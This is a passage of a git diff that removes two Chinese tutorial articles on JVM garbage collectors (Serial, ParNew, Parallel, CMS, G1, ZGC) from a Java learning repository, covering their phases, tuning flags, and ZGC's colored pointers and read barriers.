进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/jvm/garbage-collector.md b/docs/src/jvm/garbage-collector.md deleted file mode 100644 index c3af7c8f99..0000000000 --- a/docs/src/jvm/garbage-collector.md +++ /dev/null @@ -1,256 +0,0 @@ ---- -title: Java 经典垃圾回收器详解 -shortTitle: 垃圾回收器 -category: - - Java核心 -tag: - - Java虚拟机 -description: Java 经典垃圾回收器详解 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,垃圾回收器 ---- - - -* 吞吐量:程序运行时间占总运行时间(总运行时间=程序运行时间+垃圾回收时间)的比例,垃圾回收时间越少,吞吐量越高; -* 暂停时间:STW的时间; -* 内存占用:Java堆所占的大小。 - -以上三点构成不可能三角,即一款垃圾回收器不可能同时满足三点。随着硬件水平的提升,内存占用不再是我们关注的重点,评估垃圾回收器性能时,重点关注吞吐量和暂停时间。吞吐量和暂停时间是相互矛盾的,目前我们追求的效果是:在最大吞吐量优先的情况下,减小暂停时间。 - -## 垃圾回收器发展历史 - -* 1999年JDK 1.3.1 发布第一款串行方式的Serial GC,ParNew垃圾回收器是Serial回收器的多线程版本; -* 2002年2月26,Parallel GC和Concurrent Mark Sweep GC(CMS)跟随JDK 1.4.2一起发布; -* Parallel GC在JDK 1.6后称为HotSpot默认GC; -* 2012年,在JDK 1.7u4版本中,G1可用; -* 2017年,JDK 9中,G1成为默认垃圾回收器,CMS被标记为过时; -* 2018年3月,JDK 10中提升G1并行性; -* 2018年9月,JDK 11引入了Epsilon垃圾回收器,同时引入ZGC(实验版本); -* 2019年3月,JDK 12发布,增强G1,并引入Shenandoah GC(实验版本); -* 2019年9月,JDK 13发布,增强ZGC; -* 2020年3月,JDK 14发布,删除CMS,拓展ZGC在MAC和Windows上的应用。 - -## 垃圾回收器组合 - -7款经典垃圾回收器间的组合关系: - -![图片来源于掘金](https://cdn.paicoding.com/stutymore/garbage-collector-20250110110811.png) - -说明: - -1. 两个回收器间有连线,说明它们可以搭配使用; -2. Serial Old作为CMS出现“Concurrent Mode Failure”失败的后备预案; -3. G1可用于新生代和老年代; -4. 红色虚线连线:JDK 8将这两组组合声明为废弃,并在JDK 9中完全移除; -5. 绿色虚线连线:JDK 14中,弃用了该组合; -6. 绿色虚线边框:JDK 14中,删除了CMS。 - -## 默认垃圾回收器查看 - -编写一段简单的java程序: - -```java -public class Test { - public static void main(String[] args) { - System.out.println("hello"); - } -} -``` - - -添加`-XX:+PrintCommandLineFlags`JVM参数配置,在JDK 8环境下程序输出: - -```java --XX:InitialHeapSize=536870912 -XX:MaxHeapSize=8589934592 -XX:+PrintCommandLineFlags -XX:+UseCompressedClassPointers -XX:+UseCompressedOops -XX:+UseParallelGC -hello -``` - - -`-XX:+UseParallelGC`说明JDK 8默认的垃圾回收器为Parallel。 - -在JDK 9环境下输出: - -```java --XX:G1ConcRefinementThreads=10 -XX:InitialHeapSize=536870912 -XX:MaxHeapSize=8589934592 -XX:+PrintCommandLineFlags -XX:ReservedCodeCacheSize=251658240 -XX:+SegmentedCodeCache -XX:+UseCompressedClassPointers -XX:+UseCompressedOops -XX:+UseG1GC -hello -``` - - -`-XX:+UseG1GC`说明JDK 9默认的垃圾回收器为G1。 - -## 经典垃圾回收器介绍 - -### Serial、Serial Old回收器 - -Serial垃圾回收器为单线程**串行回收器**,为HotSpot中Client模式下默认的新生代垃圾回收器,采用复制算法、串行回收和STW机制进行内存回收; - -Serial Old垃圾回收器为Serial提供的老年代垃圾回收器,采用标记压缩算法、串行回收和STW机制进行内存回收: - -* Serial Old是运行在Client模式下默认的老年代垃圾回收器; -* Serial Old在Server模式下主要有两个用途:与新生代的Parallel Scavenge配合使用;作为老年代CMS回收器的后备垃圾收集方案。 - -Serial适用于运行在Client模式下的虚拟机或者内存不大(几十MB到一两百MB)的环境下,因为是串行的,有较长时间的STW,所以并不适用于要求快响应、交互较强的应用。 - -可以通过`XX:+UseSerialGC`参数启用Serial回收器,表示新生代使用Serial,老年代使用Serial Old。 - -### ParNew回收器 - -ParNew是Parallel New两个词的简写,是Serial的多线程版本垃圾回收器。ParNew是很多JVM运行在Server模式下新生代的默认垃圾回收器,采用复制算法,并行回收和STW机制进行内存回收。 - -可以通过`XX:+UseParNewGC`参数启用ParNew回收器,表示新生代使用ParNew,老年代不受影响。 - -Serial、ParNew搭配Serial Old回收器示意图: - -![Serial、ParNew搭配Serial Old](https://cdn.paicoding.com/stutymore/garbage-collector-20250110110841.png) - - -### Parallel、Parallel Old回收器 - -Parallel Scavenge回收器也是作用于新生代,同样采用复制算法,并行回收和STW机制。 - -Parallel Scavenge和ParNew对比: - -* Parallel Scavenge为吞吐量优先的垃圾回收器; -* Parallel Scavenge具有自适应调节策略。 - -JDK 1.6提供了用于老年代的并行垃圾回收器 —— Parallel Old回收器,用于替代Serial Old回收器。Parallel采用标记压缩、并行回收和STW机制。 - -可以通过`-XX:+UseParallelGC`指定新生代使用Parallel Scavenge回收器;`-XX:+UseParallelOldGC`指定老年代使用Parallel Old回收器,它们是成对存在的,开启一个另一个也会开启。 - -此外还可以通过`-XX:ParallelGCThreads=`设置并行回收器的线程数: - -* 默认情况下,当CPU数量小于8个时,`-XX:ParallelGCThreads=`的值等于CPU数量; -* 当CPU数量大于8个,`-XX:ParallelGCThreads=`的值等于`3+5*CPU_COUNT/8`。 - -`-XX:+UseAdaptiveSizePolicy`开启Parallel Scavenge的自适应调节策略: - -* 该模式下,年轻代大小、伊甸园区和幸存者区的比例、晋升老年代的对象年龄阈值都会自动调整,以达到在堆大小、吞吐量和停顿时间之间的平衡点。 - -### CMS回收器 - -JDK 1.5 HotSpot推出了一款真正意义上的并发回收器 —— CMS(Concurrent-Mark-Sweep),第一次实现了让垃圾回收线程和用户线程同时工作。CMS的关注点在于尽可能缩短垃圾收集时用户线程停顿的时间。 - -CMS作为一款老年代的垃圾回收器,不能和新生代垃圾回收器Parallel Scavenge搭配使用,只能和ParNew或者Serial搭配使用。 - -CMS回收器示意图: - -![CMS回收器](https://cdn.paicoding.com/stutymore/garbage-collector-20250110110940.png) - -> 图片来自于[codertw.com/%E7%A8%8B%E…](https://link.juejin.cn?target=https%3A%2F%2Fcodertw.com%2F%25E7%25A8%258B%25E5%25BC%258F%25E8%25AA%259E%25E8%25A8%2580%2F691189%2F "https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/691189/") - -主要分为以下几个步骤: - -1. 初始标记(Initial-Mark):所有用户线程暂停(STW),这个阶段仅仅标记出GC Roots能直接关联到的对象,所以速度非常快,STW时间很短; -2. 并发标记(Concurrent-Mark):该阶段从GC Roots直接关联对象开始遍历整个对象链,虽然这个过程耗时较长,但并不需要暂停用户线程,并发执行,没有STW; -3. 重新标记(Remark):由于上一步用户线程也在执行,所以这一步用于修正因用户线程继续运行而导致标记发生变动的那一部分对象的标记记录。这个阶段会比初始标记阶段耗时长一点,但远比并发标记阶段低; -4. 并发清除(Concurrent-Sweep):该阶段清理删除垃圾,回收空间。由于没有移动对象,所以该阶段也不需要STW。 - -CMS的优缺点都很明显: - -优点: - -* 并发收集; -* 低延迟。 - -缺点: - -* 会产生碎片。因为清理阶段用户线线程还在执行,所以只能采用不移动对象的标记-清除算法,而该算法会产生碎片问题; -* 对CPU资源敏感。CPU资源除了用于用户线程外,还需分配一部分用于处理垃圾回收,降低了吞吐量; -* 无法处理浮动垃圾。并发标记阶段,用户线程并未停止,该阶段也会产生垃圾, CMS无法对这些垃圾进行标记,只能留到下次GC时处理。 - -此外,CMS在回收过程中,因为用户线程并没有中断,所以还需确保用户线程有足够的内存可用。换句话说,CMS回收器不能等老年代即将被填满时才去回收,而应当堆内存使用率到达一定阈值时,便开始进行回收。如果CMS运行期间预留内存不足,就会出现一次“Concurrent Mode Failure”失败,虚拟机会启动后备方案,临时启用Serial Old回收器来完成老年代的垃圾回收。 - -CMS回收器可设置参数: - -* `-XX:+UseConcMarkSweepGC`,开启CMS GC,开启后,`-XX:+UseParNewGC`会自动打开; -* `-XX:CMSInitiatingOccupanyFraction=`,设置堆内存使用率阈值,一旦达到这个阈值,CMS开始进行回收(JDK5及之前,默认值为68,JDK6及以上版本默认值为92%); -* `-XX:+UseCMSCompactAtFullCollection`,指定在CMS回收完老年代后,对内存空间进行压缩处理,以避免碎片化问题; -* `-XX:CMSFullGCsBeforeCompaction`,设置执行多少次CMS GC后,对内存空间进行压缩整理; -* `-XX:ParallelCMSThreads=`,设置CMS的线程数。默认启动的线程数为`(ParallelGCThreads+3)/4`。我们知道,当CPU个数小于8时,ParallelGCThreads的默认值为CPU个数,所以对于一个8核CPU,默认启动的CMS线程数为3,换句话说只有62.5%的CPU资源用于处理用户线程。所以CMS不适合吞吐量要求高的场景。 - -### G1回收器 - -G1(Garbage First)回收器把堆内存分割成很多不相关的区域(region,物理上不连续),使用不同区域来表示伊甸园区,幸存者区和老年代。 - -G1会避免对整个Java堆进行垃圾收集,它会跟踪各个region里垃圾回收的价值大小(回收所获得的空间大小及所需时间的经验值),在后台维护一个优先列表,每次根据允许收集时间,优先回收价值最大的region。 - -**region的说明** - -![G1](https://cdn.paicoding.com/stutymore/garbage-collector-20250110111006.png) - -> 图片来自于[tech.meituan.com/2016/09/23/…](https://link.juejin.cn?target=https%3A%2F%2Ftech.meituan.com%2F2016%2F09%2F23%2Fg1.html "https://tech.meituan.com/2016/09/23/g1.html") - -* E表示伊甸园区,S表示幸存者区、O表示老年代,空白表示未使用的内存区域; -* 一个region在同一时间内只能属于一种角色; -* G1新增了一个全新的内存区域——Humongous,主要用于存放大对象。 - -G1回收垃圾过程如下图所示: - -![G1回收垃圾过程](https://cdn.paicoding.com/stutymore/garbage-collector-20250110111025.png) - -> 图片来自于[codertw.com/%E7%A8%8B%E…](https://link.juejin.cn?target=https%3A%2F%2Fcodertw.com%2F%25E7%25A8%258B%25E5%25BC%258F%25E8%25AA%259E%25E8%25A8%2580%2F691189%2F "https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/691189/") - -主要分为以下几个步骤: - -1. **初始标记**:仅仅是标记GC Roots能直接关联的对象,需要STW,但这个过程非常快; -2. **并发标记**:从GC Roots出发,对堆中对象进行可达性分析,找出存活对象,该阶段耗时较长,但是可与用户线程并发执行; -3. **最终标记**:主要修正在并发标记阶段因为用户线程继续运行而导致标记记录产生变动的那一部分对象的标记记录,需要STW; -4. **筛选回收**:将各个region分区的回收价值和成本进行排序,根据用户所期望的停顿时间制定回收计划。这阶段停顿用户线程,STW。 - -G1回收器的优缺点: - -优点: - -* 并行与并发; -* 分代收集,可以采用不同的算法处理不同的对象; -* 空间整合,标记压缩算法意味着不会产生内存碎片; -* 可预测的停顿时间,能让使用者明确指定一个长度为M毫秒时间片段内,消耗在垃圾回收的时间不超过N毫秒(根据优先列表优先回收价值最大的region)。 - -缺点: - -* 在小内存环境下和CMS相比没有优势,G1适合大的堆内存; -* 在用户程序运行过程中,G1无论是为了垃圾回收产生的内存占用,还是程序运行时的额外执行负载都要比CMS高。 - -G1回收器相关参数设置: - -* `-XX:+UseG1GC`,开启G1 GC; -* `-XX:G1HeapRegionSize=`,设置region的大小。值为2的幂,范围是1MB到32MB之间,目标是根据最小堆内存大小划分出约2048个区域。所以如果这个值设置为2MB,那么堆最小内存大约为4GB; -* `-XX:MaxGCPauseMillis=`,设置期望达到的最大GC停顿时间指标(JVM会尽力实现,但不保证达到),默认值为200ms; -* `-XX:ParallelGCThread=`,设置STW时GC线程数值,最多设置为8; -* `-XX:ConcGCThreads=`,设置并发标记的线程数,推荐值为ParallelGCThread的1/4左右; -* `-XX:InitiatingHeapOccupancyPercent=`,设置触发并发GC周期的Java堆占用率阈值,超过这个值就触发GC,默认值为45。 - -## 总结 - -上面这几款经典的垃圾回收器各有特点,具体使用的时候需要根据具体的情况选用不同的垃圾回收器: - -![垃圾收集器的特点](https://cdn.paicoding.com/stutymore/garbage-collector-20250110111049.png) - -垃圾回收器|分类|作用位置|使用算法|特点|适用场景| ----|---|---|---|---|---| -Serial|串行|新生代|复制算法|响应速度优先|适用于单CPU环境下的Client模式| -ParNew|并行|新生代|复制算法|响应速度优先|多CPU环境Server模式下与CMS配合使用| -Parallel|并行|新生代|复制算法|吞吐量优先|适用于后台运算而不需要太多交互的场景| -Serial Old|串行|老年代|标记-压缩算法|响应速度优先|单CPU环境下的Client模式| -Parallel Old|并行|老年代|标记-压缩算法|吞吐量优先|适用于后台运算而不需要太多交互的场景| -CMS|并发|老年代|标记-压缩算法|响应速度优先|适用于互联网或B/S业务| -G1|并行与并发|新生代、老年代|复制算法 标记-压缩算法|响应速度优先|面向服务端应用| - -## 新垃圾回收器 - -**Epsilon回收器、Shenandoah回收器、ZGC回收器** - - ->参考链接:[https://juejin.cn/post/7029155686575521828](https://juejin.cn/post/7029155686575521828),整理:沉默王二 - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/jvm/gc-collector.md b/docs/src/jvm/gc-collector.md deleted file mode 100644 index 78bd1dbaa5..0000000000 --- a/docs/src/jvm/gc-collector.md +++ /dev/null @@ -1,270 +0,0 @@ ---- -title: 深入理解 JVM 的垃圾收集器:CMS、G1、ZGC -shortTitle: 垃圾收集器 -category: - - Java核心 -tag: - - Java虚拟机 -description: 本篇内容我们主要介绍了 CMS、G1 和 ZGC 三种垃圾收集器,它们都是分区收集器,都是为了降低 GC 停顿时间而生的,但是它们各有优缺点,我们可以根据业务场景选择合适的垃圾收集器。 -head: - - - meta - - name: keywords - content: Java,JavaSE,教程,二哥的Java进阶之路,jvm,Java虚拟机,CMS,G1,ZGC,垃圾收集器 ---- - - -垃圾回收对于 Java 党来说,是一个绕不开的话题,工作中涉及到的调优工作也经常围绕着垃圾回收器展开。面对不同的业务场景,往往需要不同的垃圾收集器才能保证 GC 性能,因此,对于面大厂或者有远大志向的球友可以卷一下垃圾收集器。 - -就目前来说,JVM 的垃圾收集器主要分为两大类:**分代收集器**和**分区收集器**,分代收集器的代表是 CMS,分区收集器的代表是 G1 和 ZGC,下面我们来看看这两大类的垃圾收集器。 - -![分代收集器和分区收集器](https://cdn.paicoding.com/stutymore/gc-collector-20231227143820.png) - -## 分代收集器 - -### CMS - -以获取最短回收停顿时间为目标,采用“标记-清除”算法,分 4 大步进行垃圾收集,其中初始标记和重新标记会 STW,JDK 1.5 时引入,JDK9 被标记弃用,JDK14 被移除,详情可见  [JEP 363](https://openjdk.java.net/jeps/363)。 - -**CMS(Concurrent Mark Sweep)垃圾收集器是第一个关注 GC 停顿时间(STW 的时间)的垃圾收集器**。之前的垃圾收集器,要么是串行的垃圾回收方式,要么只关注系统吞吐量。 - -CMS 垃圾收集器之所以能够实现对 GC 停顿时间的控制,其本质来源于对「可达性分析算法」的改进,即三色标记算法。在 CMS 出现之前,无论是 Serious 垃圾收集器,还是 ParNew 垃圾收集器,以及 Parallel Scavenge 垃圾收集器,它们在进行垃圾回收的时候都需要 Stop the World,无法实现垃圾回收线程与用户线程的并发执行。 - -> 标记-清除算法、Stop the World、可达性分析算法等知识我们[上一节](https://javabetter.cn/jvm/gc.html)也讲过了,忘记的[球友](https://javabetter.cn/zhishixingqiu/)可以回顾一下。 - -CMS 垃圾收集器通过三色标记算法,实现了垃圾回收线程与用户线程的并发执行,从而极大地降低了系统响应时间,提高了强交互应用程序的体验。它的运行过程分为 4 个步骤,包括: - -- 初始标记 -- 并发标记 -- 重新标记 -- 并发清除 - -**初始标记**,指的是寻找所有被 GCRoots 引用的对象,该阶段需要「Stop the World」。这个步骤仅仅只是标记一下 GC Roots 能直接关联到的对象,并不需要做整个引用的扫描,因此速度很快。 - -**并发标记**,指的是对「初始标记阶段」标记的对象进行整个引用链的扫描,该阶段不需要「Stop the World」。 对整个引用链做扫描需要花费非常多的时间,因此通过垃圾回收线程与用户线程并发执行,可以降低垃圾回收的时间。 - -这也是 CMS 能极大降低 GC 停顿时间的核心原因,但这也带来了一些问题,即:并发标记的时候,引用可能发生变化,因此可能发生漏标(本应该回收的垃圾没有被回收)和多标(本不应该回收的垃圾被回收)了。 - -**重新标记**,指的是对「并发标记」阶段出现的问题进行校正,该阶段需要「Stop the World」。正如并发标记阶段说到的,由于垃圾回收算法和用户线程并发执行,虽然能降低响应时间,但是会发生漏标和多标的问题。所以对于 CMS 来说,它需要在这个阶段做一些校验,解决并发标记阶段发生的问题。 - -**并发清除**,指的是将标记为垃圾的对象进行清除,该阶段不需要「Stop the World」。 在这个阶段,垃圾回收线程与用户线程可以并发执行,因此并不影响用户的响应时间。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231228211056.png) - -CMS 的优点是:并发收集、低停顿。但缺点也很明显: - -①、对 CPU 资源非常敏感,因此在 CPU 资源紧张的情况下,CMS 的性能会大打折扣。 - -默认情况下,CMS 启用的垃圾回收线程数是`(CPU数量 + 3)/4`,当 CPU 数量很大时,启用的垃圾回收线程数占比就越小。但如果 CPU 数量很小,例如只有 2 个 CPU,垃圾回收线程占用就达到了 50%,这极大地降低系统的吞吐量,无法接受。 - -②、CMS 采用的是「标记-清除」算法,会产生大量的内存碎片,导致空间不连续,当出现大对象无法找到连续的内存空间时,就会触发一次 Full GC,这会导致系统的停顿时间变长。 - -③、CMS 无法处理浮动垃圾,当 CMS 在进行垃圾回收的时候,应用程序还在不断地产生垃圾,这些垃圾会在 CMS 垃圾回收结束之后产生,这些垃圾就是浮动垃圾,CMS 无法处理这些浮动垃圾,只能在下一次 GC 时清理掉。 - -## 分区收集器 - -### G1 - -G1(Garbage-First Garbage Collector)在 JDK 1.7 时引入,在 JDK 9 时取代 CMS 成为了默认的垃圾收集器。G1 有五个属性:分代、增量、并行、标记整理、STW。 - -①、分代:相信大家还记得我们[上一讲中的年轻代和老年代](https://javabetter.cn/jvm/gc.html),G1 也是基于这个思想进行设计的。它将堆内存分为多个大小相等的区域(Region),每个区域都可以是 Eden 区、Survivor 区或者 Old 区。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231228213824.png) - -可以通过 `-XX:G1HeapRegionSize=n` 来设置 Region 的大小,可以设定为 1M、2M、4M、8M、16M、32M(不能超过)。 - -G1 有专门分配大对象的 Region 叫 Humongous 区,而不是让大对象直接进入老年代的 Region 中。在 G1 中,大对象的判定规则就是一个大对象超过了一个 Region 大小的 50%,比如每个 Region 是 2M,只要一个对象超过了 1M,就会被放入 Humongous 中,而且一个大对象如果太大,可能会横跨多个 Region 来存放。 - -G1 会根据各个区域的垃圾回收情况来决定下一次垃圾回收的区域,这样就避免了对整个堆内存进行垃圾回收,从而降低了垃圾回收的时间。 - -②、增量:G1 可以以增量方式执行垃圾回收,这意味着它不需要一次性回收整个堆空间,而是可以逐步、增量地清理。有助于控制停顿时间,尤其是在处理大型堆时。 - -③、并行:G1 垃圾回收器可以并行回收垃圾,这意味着它可以利用多个 CPU 来加速垃圾回收的速度,这一特性在年轻代的垃圾回收(Minor GC)中特别明显,因为年轻代的回收通常涉及较多的对象和较高的回收速率。 - -④、标记整理:在进行老年代的垃圾回收时,G1 使用标记-整理算法。这个过程分为两个阶段:标记存活的对象和整理(压缩)堆空间。通过整理,G1 能够避免内存碎片化,提高内存利用率。 - -年轻代的垃圾回收(Minor GC)使用复制算法,因为年轻代的对象通常是朝生夕死的。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231230100404.png) - -⑤、STW:G1 也是基于「标记-清除」算法,因此在进行垃圾回收的时候,仍然需要「Stop the World」。不过,G1 在停顿时间上添加了预测机制,用户可以指定期望停顿时间。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231228213622.png) - -G1 中存在三种 GC 模式,分别是 Young GC、Mixed GC 和 Full GC。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231228215108.png) - -当 Eden 区的内存空间无法支持新对象的内存分配时,G1 会触发 Young GC。 - -当需要分配对象到 Humongous 区域或者堆内存的空间占比超过 `-XX:G1HeapWastePercent` 设置的 InitiatingHeapOccupancyPercent 值时,G1 会触发一次 concurrent marking,它的作用就是计算老年代中有多少空间需要被回收,当发现垃圾的占比达到 `-XX:G1HeapWastePercent` 中所设置的 G1HeapWastePercent 比例时,在下次 Young GC 后会触发一次 Mixed GC。 - -Mixed GC 是指回收年轻代的 Region 以及一部分老年代中的 Region。Mixed GC 和 Young GC 一样,采用的也是复制算法。 - -在 Mixed GC 过程中,如果发现老年代空间还是不足,此时如果 G1HeapWastePercent 设定过低,可能引发 Full GC。`-XX:G1HeapWastePercent` 默认是 5,意味着只有 5% 的堆是“浪费”的。如果浪费的堆的百分比大于 G1HeapWastePercent,则运行 Full GC。 - -在以 Region 为最小管理单元以及所采用的 GC 模式的基础上,G1 建立了停顿预测模型,即 Pause Prediction Model 。这也是 G1 非常被人所称道的特性。 - -我们可以借助 `-XX:MaxGCPauseMillis` 来设置期望的停顿时间(默认 200ms),G1 会根据这个值来计算出一个合理的 Young GC 的回收时间,然后根据这个时间来制定 Young GC 的回收计划。 - -### ZGC - -ZGC(The Z Garbage Collector)是 JDK11 推出的一款低延迟垃圾收集器,适用于大内存低延迟服务的内存管理和回收,SPEC jbb 2015 基准测试,在 128G 的大堆下,最大停顿时间才 1.68 ms,停顿时间远胜于 G1 和 CMS。 - -ZGC 的设计目标是:在不超过 10ms 的停顿时间下,支持 TB 级的内存容量和几乎所有的 GC 功能,这也是 ZGC 名字的由来,Z 代表着 Zettabyte,也就是 1024EB,也就是 1TB 的 1024 倍。 - -不过,我需要告诉大家的是,上面这段是我胡编的(😂),JDK 官方并没有明确给出 Z 的定义,就像小米汽车 su7,7 也是个魔数,没有明确的定义。 - -总之就是,ZGC 很牛逼,它的目标是: - -- 停顿时间不超过 10ms; -- 停顿时间不会随着堆的大小,或者活跃对象的大小而增加; -- 支持 8MB~4TB 级别的堆,未来支持 16TB。 - -前面讲 G1 垃圾收集器的时候提到过,Young GC 和 Mixed GC 均采用的是[复制算法](https://javabetter.cn/jvm/gc.html),复制算法主要包括以下 3 个阶段: - -①、标记阶段,从 GC Roots 开始,分析对象可达性,标记出活跃对象。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231230101117.png) - -②、对象转移阶段,把活跃对象复制到新的内存地址上。 - -③、重定位阶段,因为转移导致对象地址发生了变化,在重定位阶段,所有指向对象旧地址的引用都要调整到对象新的地址上。 - -标记阶段因为只标记 GC Roots,耗时较短。但转移阶段和重定位阶段需要处理所有存活的对象,耗时较长,并且转移阶段是 STW 的,因此,G1 的性能瓶颈就主要卡在转移阶段。 - -与 G1 和 CMS 类似,ZGC 也采用了复制算法,只不过做了重大优化,ZGC 在标记、转移和重定位阶段几乎都是并发的,这是 ZGC 实现停顿时间小于 10ms 的关键所在。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231230101805.png) - -ZGC 是怎么做到的呢? - -- 指针染色(Colored Pointer):一种用于标记对象状态的技术。 -- 读屏障(Load Barrier):一种在程序运行时插入到对象访问操作中的特殊检查,用于确保对象访问的正确性。 - -这两种技术可以让所有线程在并发的条件下就指针的颜色 (状态) 达成一致,而不是对象地址。因此,ZGC 可以并发的复制对象,这大大的降低了 GC 的停顿时间。 - -#### 指针染色 - -在一个指针中,除了存储对象的实际地址外,还有额外的位被用来存储关于该对象的元数据信息。这些信息可能包括: - -- 对象是否被移动了(即它是否在回收过程中被移动到了新的位置)。 -- 对象的存活状态。 -- 对象是否被锁定或有其他特殊状态。 - -通过在指针中嵌入这些信息,ZGC 在标记和转移阶段会更快,因为通过指针上的颜色就能区分出对象状态,不用额外做内存访问。 - -ZGC仅支持64位系统,它把64位虚拟地址空间划分为多个子空间,如下图所示: - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231230104011.png) - - -其中,0-4TB 对应 Java 堆,4TB-8TB 被称为 M0 地址空间,8TB-12TB 被称为 M1 地址空间,12TB-16TB 预留未使用,16TB-20TB 被称为 Remapped 空间。 - -当创建对象时,首先在堆空间申请一个虚拟地址,该虚拟地址并不会映射到真正的物理地址。同时,ZGC 会在 M0、M1、Remapped 空间中为该对象分别申请一个虚拟地址,且三个虚拟地址都映射到同一个物理地址。 - -下图是虚拟地址的空间划分: - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231230105830.png) - -不过,三个空间在同一时间只有一个空间有效。ZGC 之所以设置这三个虚拟地址,是因为 ZGC 采用的是“空间换时间”的思想,去降低 GC 的停顿时间。 - -与上述地址空间划分相对应,ZGC实际仅使用64位地址空间的第0-41位,而第42-45位存储元数据,第47-63位固定为0。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20231230104802.png) - -由于仅用了第 0~43 位存储对象地址,$2^{44}$ = 16TB,所以 ZGC 最大支持 16TB 的堆。 - -至于对象的存活信息,则存储在42-45位中,这与传统的垃圾回收并将对象存活信息放在对象头中完全不同。 - - - -#### 读屏障 - -当程序尝试读取一个对象时,读屏障会触发以下操作: - -- 检查指针染色:读屏障首先检查指向对象的指针的颜色信息。 -- 处理移动的对象:如果指针表示对象已经被移动(例如,在垃圾回收过程中),读屏障将确保返回对象的新位置。 -- 确保一致性:通过这种方式,ZGC 能够在并发移动对象时保持内存访问的一致性,从而减少对应用程序停顿的需要。 - -ZGC读屏障如何实现呢? - -来看下面这段伪代码,涉及 JVM 的底层 C++ 代码: - -```java -// 伪代码示例,展示读屏障的概念性实现 -Object* read_barrier(Object* ref) { - if (is_forwarded(ref)) { - return get_forwarded_address(ref); // 获取对象的新地址 - } - return ref; // 对象未移动,返回原始引用 -} -``` - -- read_barrier 代表读屏障。 -- 如果对象已被移动(is_forwarded(ref)),方法返回对象的新地址(get_forwarded_address(ref))。 -- 如果对象未被移动,方法返回原始的对象引用。 - -读屏障可能被GC线程和业务线程触发,并且只会在访问堆内对象时触发,访问的对象位于GC Roots时不会触发,这也是扫描GC Roots时需要STW的原因。 - -下面是一个简化的示例代码,展示了读屏障的触发时机。 - -```java -Object o = obj.FieldA // 从堆中读取引用,需要加入屏障 - -Object p = o // 无需加入屏障,因为不是从堆中读取引用 -o.dosomething() // 无需加入屏障,因为不是从堆中读取引用 -int i = obj.FieldB //无需加入屏障,因为不是对象引用 -``` - -#### ZGC 的工作过程 - -ZGC 周期由三个 STW 暂停和四个并发阶段组成:标记/重新映射( M/R )、并发引用处理( RP )、并发转移准备( EC ) 和并发转移( RE )。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20240102140237.png) - -##### Stop-The-World 暂停阶段 - -1. **标记开始(Mark Start)STW 暂停**:这是 ZGC 的开始,进行 GC Roots 的初始标记。在这个短暂的停顿期间,ZGC 标记所有从 GC Root 直接可达的对象。 - -2. **重新映射开始(Relocation Start)STW 暂停**:在并发阶段之后,这个 STW 暂停是为了准备对象的重定位。在这个阶段,ZGC 选择将要清理的内存区域,并建立必要的数据结构以进行对象移动。 - -3. **暂停结束(Pause End)STW 暂停**:ZGC 结束。在这个短暂的停顿中,完成所有与该 GC 周期相关的最终清理工作。 - -##### 并发阶段 - -1. **并发标记/重新映射 (M/R)** :这个阶段包括并发标记和并发重新映射。在并发标记中,ZGC 遍历对象图,标记所有可达的对象。然后,在并发重新映射中,ZGC 更新指向移动对象的所有引用。 - -2. **并发引用处理 (RP)** :在这个阶段,ZGC 处理各种引用类型(如软引用、弱引用、虚引用和幽灵引用)。这些引用的处理通常需要特殊的考虑,因为它们与对象的可达性和生命周期密切相关。 - -3. **并发转移准备 (EC)** :这是为对象转移做准备的阶段。ZGC 确定哪些内存区域将被清理,并准备相关的数据结构。 - -4. **并发转移 (RE)** :在这个阶段,ZGC 将存活的对象从旧位置移动到新位置。由于这一过程是并发执行的,因此应用程序可以在大多数垃圾回收工作进行时继续运行。 - - -![](https://cdn.paicoding.com/stutymore/gc-collector-20240102142638.png) - -ZGC 的两个关键技术:指针染色和读屏障,不仅应用在并发转移阶段,还应用在并发标记阶段:将对象设置为已标记,传统的垃圾回收器需要进行一次内存访问,并将对象存活信息放在对象头中;而在ZGC中,只需要设置指针地址的第42-45位即可,并且因为是寄存器访问,所以速度比访问内存更快。 - -![](https://cdn.paicoding.com/stutymore/gc-collector-20240102142908.png) - -### 小结 - -本篇内容我们主要介绍了 CMS、G1 和 ZGC 三种垃圾收集器,它们都是分区收集器,都是为了降低 GC 停顿时间而生的,但是它们各有优缺点,我们可以根据业务场景选择合适的垃圾收集器。 - -参考资料: - -> 1、树哥聊编程:[CMS 垃圾收集器](https://mp.weixin.qq.com/s/V1utsm5Wn3uhV1QrATz4ag) -> 2、军哥聊技术:[G1 垃圾收集器](https://mp.weixin.qq.com/s/rVS5TBRU9QcnMNdBz6w_Mg) -> 